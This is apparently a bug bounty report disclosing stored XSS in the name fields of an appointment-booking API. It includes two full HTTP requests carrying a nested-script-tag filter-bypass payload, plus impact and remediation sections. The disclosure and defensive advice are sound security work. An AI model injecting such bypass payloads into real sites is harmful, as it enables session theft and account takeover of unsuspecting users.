BugBountyHunter

Hello team, the lname and fname parameters are vulnerable to stored XSS as they both can be bypassed and malicious JavaScript can be executed.

Description

Stored cross-site scripting vulnerabilities arise when user input is stored and later embedded into the application's responses in an unsafe way. An attacker can use the vulnerability to inject malicious JavaScript code into the application, which will execute within the browser of any user who views the relevant application content. The attacker-supplied code can perform a wide variety of actions, such as stealing victims' session tokens or login credentials, performing arbitrary actions on their behalf, and logging their keystrokes.

Methods for introducing malicious content include any function where request parameters or headers are processed and stored by the application, and any out-of-band channel whereby data can be introduced into the application's processing space (for example, email messages sent over SMTP that are ultimately rendered within a web mail application).

Stored cross-site scripting flaws are typically more serious than reflected vulnerabilities because they do not require a separate delivery mechanism in order to reach target users, and are not hindered by web browsers' XSS filters. Depending on the affected page, ordinary users may be exploited during normal use of the application. In some situations, this can be used to create web application worms that spread exponentially and ultimately exploit all active users

Impact

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

Proof of Concept

Steps to Reproduce

1. Make an appointment as a normal user and here fname and lname parameters are vulnerable to XSS. They do have some filter to protect against it, but the filter looks for common stuff and can be easily bypassed. Following is the HTTP request we make:

POST /api/ba.php HTTP/1.1
Host: firstbloodhackers.com:49774
Content-Length: 197
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
csrf: 99215d4e-0ff3-4275
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://firstbloodhackers.com:49774
Referer: http://firstbloodhackers.com:49774/book-appointment.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: drps=8644db31102c67c02f9fe1206
Connection: close

fname=V3MM&lname=hjk<scr<script>ipt>confirm`Stored XSS`</scr</script>ipt>&address=null&city=null&phonenumber=9876542637&[email protected]&dob=05/26/2021&a1=alg1&a2=alg2&a3=alg3&message=test&slot=1

2. Here we are injecting the malicious JavaScript in lname parameter. And when the doctor opens this appointment via the query.php endpoint, the JavaScript code is executed.

3. Similarly we can exploit the fname parameter, with the following HTTP request:

POST /api/ba.php HTTP/1.1
Host: firstbloodhackers.com:49774
Content-Length: 197
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.128 Safari/537.36
csrf: 99215d4e-0ff3-4275
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://firstbloodhackers.com:49774
Referer: http://firstbloodhackers.com:49774/book-appointment.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: drps=8644db31102c67c02f9fe1206
Connection: close

fname=V3MM<scr<script>ipt>confirm`Stored XSS`</scr</script>ipt>&lname=hjk&address=null&city=null&phonenumber=9876542637&[email protected]&dob=05/26/2021&a1=alg1&a2=alg2&a3=alg3&message=test&slot=1

Remediation

​ In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses: ​

1. Input should be validated as strictly as possible on arrival, given the kind of content that it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
2. User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc). ​ In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task. ​